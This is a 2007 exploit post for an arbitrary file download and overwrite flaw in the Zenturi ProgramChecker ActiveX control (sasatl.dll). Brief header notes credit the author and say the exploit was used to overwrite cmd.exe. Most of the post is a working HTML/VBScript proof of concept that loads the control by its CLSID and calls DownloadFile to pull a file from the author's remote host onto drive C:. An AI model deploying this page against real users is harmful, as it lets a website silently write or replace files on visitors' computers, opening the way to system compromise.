zenturi-overwrite.txt
Posted on 31 May 2007
pre> <span style="font: 14pt Courier New;"><p align="center"><b>2007/05/30</b></p></span> <code><span style="font: 10pt Courier New;"><span class="general1-symbol">------------------------------------------------------------------------------------------- <b>Zenturi ProgramChecker ActiveX (sasatl.dll) Arbitrary file download/overwrite Exploit</b> url: http://www.programchecker.com/activeintro.aspx author: shinnai mail: shinnai[at]autistici[dot]org site: http://shinnai.altervista.org Tested on Windows XP Professional SP2 all patched, with Internet Explorer 7 all software that use this ocx are vulnerable to this exploits. Using the "DownloadFile" method, you can download everything you want on a pc. This exploit just download a txt file on pc, I try to overwrite cmd.exe and it works. ------------------------------------------------------------------------------------------- <object classid='clsid:59DBDDA6-9A80-42A4-B824-9BC50CC172F5' id='test' ></object> <input language=VBScript onclick=tryMe() type=button value="Click here to start the test"> <script language='vbscript'> Sub tryMe() test.DownloadFile "http://www.shinnai.altervista.org/shinnai.txt" ,"c:shinnai.txt" ,"0", "0" End Sub </script> </span></span> </code></pre>
